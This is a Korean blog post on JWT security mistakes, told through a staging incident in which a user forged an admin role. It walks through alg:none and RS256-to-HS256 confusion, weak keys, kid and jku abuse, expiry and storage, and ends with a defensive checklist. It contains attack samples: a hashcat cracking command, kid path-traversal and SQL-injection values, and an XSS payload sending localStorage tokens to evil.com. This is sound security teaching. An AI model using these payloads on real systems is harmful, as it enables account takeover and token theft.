새벽 3시 알림이 JWT를 보는 눈을 바꿨다
수요일 새벽 2시 47분, 핸드폰이 미친 듯이 울렸다. 모니터링 채널에 한 줄이 떴다. “스테이징 admin API가 인증 없이 호출됐다.”
잠에 취한 채 로그를 열었다. 갓 가입한 일반 유저가 자신의 JWT에서 payload의 role을 user에서 admin으로 바꿔 삭제 API를 호출했고, 서버는 200 OK를 돌려줬다.
머리가 하얘졌다. JWT를 쓰고 있는데 문자열 하나 바꿔서 관리자가 되다니.
사후 분석은 겸허했다. 문제는 JWT가 아니라 우리가 JWT를 만능으로 믿은 것이었다. 그 후 코드베이스의 JWT 사용처를 전부 감사했는데 소름이 돋았다. alg:none 미차단, 비밀키는 123456, 토큰은 localStorage에 방치, 만료는 30일… 교과서 속 안티패턴이 총집합이었다.
이 글은 그때 갖고 싶었던 해체 신서다. JWT는 매우 우아한 설계지만, 우아하다는 건 오용에 대한 허용치가 낮다는 뜻이다. 한 번만 잘못 써도 그대로 키를 넘겨주는 셈이다.
기초부터 바로잡자: JWT가 무엇이고 무엇이 아닌지
가장 위험한 오해는 “JWT는 암호화다”라는 생각이다. 아니다. JWT는 JSON Web Token으로, “내가 발급했고 위조되지 않았음을 어떻게 증명할까”를 푸는 것이지 “데이터를 어떻게 숨길까”가 아니다.
정상적인 JWT는 점으로 구분된 세 부분으로 이루어진다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header:
{"alg":"HS256","typ":"JWT"}— “HS256으로 서명했다”는 선언. - Payload:
{"uid":123,"role":"user"}— 비즈니스 데이터. 그저 Base64Url 인코딩일 뿐 누구나 디코드할 수 있다. - Signature: 앞 두 부분을 Header의 알고리즘과 키로 서명해 위조를 방지.
한마디로 JWT는 “도장이 찍힌 엽서”다. 누구나 내용을 읽을 수 있지만 도장이 맞지 않으면 위조된 것이다. 엽서에 카드 비밀번호를 적어서는 안 된다.
그러니 password나 phone을 payload에 넣지 마라. 내가 본 최악은 유저 테이블의 SELECT * 결과를 그대로 JWT에 넣어 8KB짜리 토큰이 매 요청마다 돌아다니고 게이트웨이가 터진 경우였다.
첫 번째 함정: 알고리즘 혼동 — 우아하고 치명적
2015년부터 알려진 가장 유명한 JWT 버그로, 아직도 많은 라이브러리가 “클라이언트가 보낸 alg를 믿는” 구현을 하고 있다.
1. alg를 none으로 바꾸니 서버가 “어 그래” 하고 통과
none은 “서명 없음”을 뜻하는 정식 알고리즘으로, 서명이 필요 없는 경우를 위해 존재한다. 허술한 검증은 이렇게 생겼다.
// 절대 따라 하지 마세요
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // 검증 없이 통과
return verify(token, secret);
공격은 간단하다. 헤더를 {"alg":"none"}으로, payload의 role을 admin으로 바꾸고 서명 부분을 버리고 보내면 통과된다.
스테이징에서 처음 재현했을 때 손이 떨렸다. 문자열 하나로 관리자 등극. SQL 인젝션보다 쉽다.
방어: 화이트리스트로 고정한다. 서버는 algorithms: ['HS256'] 또는 ['RS256']을 하드코딩하고 none은 즉시 거부한다. 최신 jsonwebtoken은 기본적으로 none을 비활성화하지만 직접 만든 검증기는 여전히 걸린다.
2. RS256 → HS256 바꿔치기: 공개키를 HMAC 비밀키로 쓰기
대기업도 당한 음흉한 수법이다.
RS256은 비대칭으로 비밀키로 서명하고 공개키로 검증, HS256은 대칭으로 서명과 검증에 같은 키를 쓴다.
버그의 핵심은 라이브러리가 header.alg를 보고 검증 방식을 바꾸는 데 있다. 공격자가 RS256 토큰의 헤더를 HS256으로 바꾸면 서버는 “HS256이네? 그럼 HMAC으로 검증해야지”라 생각하고 그 “비밀키”로 RS256의 공개키를 쓴다. 공개키는 공개되어 있다. 공격자는 /.well-known/jwks.json에서 가져와 HS256으로 다시 서명하면 끝이다.
# 공격자 단계
1. RS256 공개키 획득
2. 헤더 {"alg":"HS256"} 생성
3. 페이로드 {"uid":1,"role":"admin"} 생성
4. 공개키 문자열을 비밀키로 HS256 서명
5. 서버는 같은 공개키로 HMAC 검증 → 통과
연구자 Tim McLean이 2015년에 공개했고 많은 Python/Ruby 라이브러리가 영향받았다. 미묘하지만 파괴적이다.
방어: ① 검증 알고리즘은 서버 설정으로 결정하고 토큰의 alg는 믿지 않는다. ② RS256 공개키와 HS256 비밀키는 분리 보관하고 algorithms: ['RS256']을 명시한다.
3. 클라이언트가 바꿀 수 있는 건 믿지 마라
header.alg는 공격자가 조작 가능하다. isAdmin=true를 믿지 않듯 alg도 믿으면 안 된다.
두 번째 함정: 키 — 종이처럼 얇다
1. 약한 키: 123456은 비밀이 아니다
hashcat으로 몇 초 만에 깬 키가 secret, password, 123456, jwt_secret이다. 회사 약어+연도인 acme2023도 별로 다르지 않다. JWT 서명은 결정적이므로 공격자는 서버에 닿지 않고 오프라인에서 무차별 대입할 수 있다.
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
방어: 최소 32바이트 랜덤 문자열을 openssl rand -hex 32로 생성한다. 약한 키로 배포했다면 즉시 교체하고 기존 토큰을 전부 무효화한다.
2. 키 유출: 프론트엔드, GitHub, 로그
감사에서 본 유출 3종 세트.
- 프론트엔드 번들:
JWT_SECRET이app.js에 포함돼 DevTools에서 검색된다. - GitHub:
.env를 커밋해my_super_secret_123이 검색에 걸린다. - 로그: 토큰 전체를 ELK로 흘려 누구나 본다. 토큰 유출은 키 유출과 동급이다.
검증 실패 시 비밀키를 에러 메시지에 담아 돌려주는 프레임워크도 있다.
방어: 키는 환경 변수나 KMS에만 둔다. 프론트는 토큰만 다루고 비밀은 안 갖는다. 로그에서는 토큰을 마스킹한다.
3. kid — 잊힌 백도어
헤더의 kid(Key ID)는 “어떤 키로 검증할지”를 서버에 알려준다.
const kid = header.kid;
const key = getKey(kid);
verify(token, key);
getKey가 허술하면
- 경로 탐색:
kid="../../dev/null"로 빈 파일을 키로 쓴다. - SQL 인젝션:
kid="1' OR '1'='1"을 SQL에 이어 붙인다. - 파일 읽기:
/keys/${kid}.pem에서../../../../etc/passwd시도.
나는 “key not found” 응답 시간 차이로 유효한 kid를 열거한 적이 있다.
방어: kid는 영숫자와 하이픈만 허용하고 맵으로 해결한다. 경로나 SQL에 직접 이어 붙이지 않는다.
4. jku와 x5u — 공격자에게 키 위치를 정하게 하기
jku(JWK Set URL)와 x5u(X509 URL)는 “공개키는 이 URL에 있다”고 알려준다. 서버가 이를 믿으면 공격자는 자기 서버를 가리키고 서버는 공격자의 키를 가져와 검증해 버린다.
방어: 운영에서는 jku/x5u/x5c를 비활성화한다. 필요하다면 도메인 화이트리스트와 HTTPS 강제를 쓴다.
세 번째 함정: 만료, 폐기, 재사용 — 무상태의 대가
JWT의 장점인 무상태가 가장 큰 함정이기도 하다. 세션은 서버에서 삭제하면 폐기되지만 JWT는 한 번 발급되면 만료까지 취소할 수 없는 수표다. 비밀번호 변경, 계정 차단, 도난 후에도 만료까지 계속 쓰인다.
exp를 30일이나 무제한으로 두는 경우를 자주 본다. “UX를 위해 로그인 없이”라는 이유지만 휴대폰을 잃어버리면 30일간 무제한 사용이다.
올바른 패턴은 “짧고 + 폐기 가능”:
- 짧은 accessToken: 5~15분, 최소한의 클레임만.
- 회전하는 refreshToken: 조금 더 긴 refreshToken을 httpOnly 쿠키+DB로 관리하고 사용할 때마다 이전 토큰을 무효화한다. 재사용 탐지: 같은 refreshToken이 두 번 쓰이면 해당 유저의 모든 토큰을 폐기한다.
- 블록리스트: 로그아웃이나 비밀번호 변경 시
jti를 Redis에 넣고 TTL을 남은 유효기간으로 설정한다. 검증 시 확인한다. 상태가 생기지만 필요한 타협이다. - aud/iss/nbf 검증: 많은 검증기가
aud/iss를 건너뛰어 서비스 A 토큰이 서비스 B에서 통한다.
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5
});
네 번째 함정: JWT를 어디에 저장하느냐가 죽는 방법을 결정한다
| 저장 위치 | 장점 | 단점 | 유출 경로 |
|---|---|---|---|
| localStorage / sessionStorage | 프론트에서 꺼내기 쉽다 | JS에서 읽을 수 있다 | XSS 한 방에 전부 털린다 |
| 메모리 변수 | 탭 닫으면 사라진다 | 새로고침하면 사라진다 | 상대적으로 안전하지만 UX가 나쁘다 |
| httpOnly + Secure + SameSite 쿠키 | JS가 못 읽어 XSS에 강하다 | CSRF 위험 | CSRF 토큰이 필요하다 |
가장 흔한 실수는 편의상 localStorage에 두고 댓글창 XSS로 <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))>가 주입돼 방문자 토큰이 전부 털리는 경우다.
쿠키도 만능은 아니다. 자동으로 전송되므로 <img src="https://api.mycompany.com/transfer?to=attacker">로 CSRF가 성립한다.
요즘 안정적인 패턴: accessToken은 메모리, refreshToken은 httpOnly + Secure + SameSite=Strict 쿠키, CSRF는 SameSite와 이중 방어. 페이지 리로드 시 refreshToken으로 재발급. 그리고 전체 HTTPS. 아니면 토큰은 평문이다.
다섯 번째 함정: 검증 깜빡한 클레임
서명이 유효하다고 업무적으로 유효한 건 아니다. req.user = decoded 뒤에
- exp 미검증: 라이브러리 기본값이 만료를 체크하지 않는 경우가 있다.
- nbf 미검증: “이 시각 이전에는 무효”가 무시돼 너무 이른 토큰이 쓰인다.
- payload 권한 신뢰:
role이나isVip을 JWT에 넣고 그대로 믿는다. JWT에는uid만 넣고 권한은 DB에서 조회해야 한다. - 재사용:
jti중복 제거가 없어 도난 토큰이 계속 재사용된다. 중요 작업에는 일회용jti나jti + ip + ua바인딩을 쓴다.
프로덕션 체크리스트 — 지금 내가 강제하는 것
- 알고리즘 화이트리스트:
algorithms: ['RS256']하드코딩. 헤더의 alg는 읽지 않는다. none/jku/x5u 금지. - 강하고 교체 가능한 키: HS256은 32바이트 이상 랜덤 문자열, RS256은 2048비트 이상. KMS/환경변수로 관리하고 kid로 로테이션, 이전 키는 7일간 유지.
- 짧은 만료 + 교체: access 10분, refresh 7일 + 교체 + 블록리스트. 로그아웃/비밀번호 변경/차단 시 블록리스트.
- 최소 payload:
uid,jti,exp,iat만. 민감 정보는 넣지 않는다. 필요하면 JWE로 암호화. - 엄격한 검증: iss/aud/exp/nbf/jti 전부 검증. 인가는 JWT를 믿지 말고 서버에서 조회한다.
- 저장: refresh는 httpOnly 쿠키, access는 메모리. 로그는 마스킹, HTTPS 강제, CSP로 XSS 방어.
- 관측 가능성: jti 발급/갱신/폐기를 추적하고 재사용을 알림한다.
한 줄 요약: JWT는 일회용 통행증으로 대하고 영구 신분증으로 대하지 마라.
마무리: JWT는 나쁘지 않다, 맹신이 나쁘다
JWT 설계는 절제되어 있다. 3개 파트, Base64Url, 선택 가능한 알고리즘, 표준 클레임. 그 “불안전”의 거의 전부는 구현의 게으름이다. 편하려고 alg를 믿고, 편하려고 약한 키를 쓰고, UX 때문에 장기 만료를 쓰고, 빠르다고 권한을 payload에 쑤셔 넣는다.
칼과 같다. 칼 자체는 위험하지 않지만 눈 감고 휘두르면 손을 베인다.
지금 JWT를 쓰고 있다면 오늘 밤 코드에서 verify(token, secret)에 algorithms 없이 호출하는 곳은 없는지, 비밀키가 평문으로 config.js에 누워 있지 않은지, 만료가 “일” 단위는 아닌지 grep 해보라. 하나만 고쳐도 새벽 3시 알림 하나가 줄어든다.
털리고 나서 이 글을 떠올리지 마라.
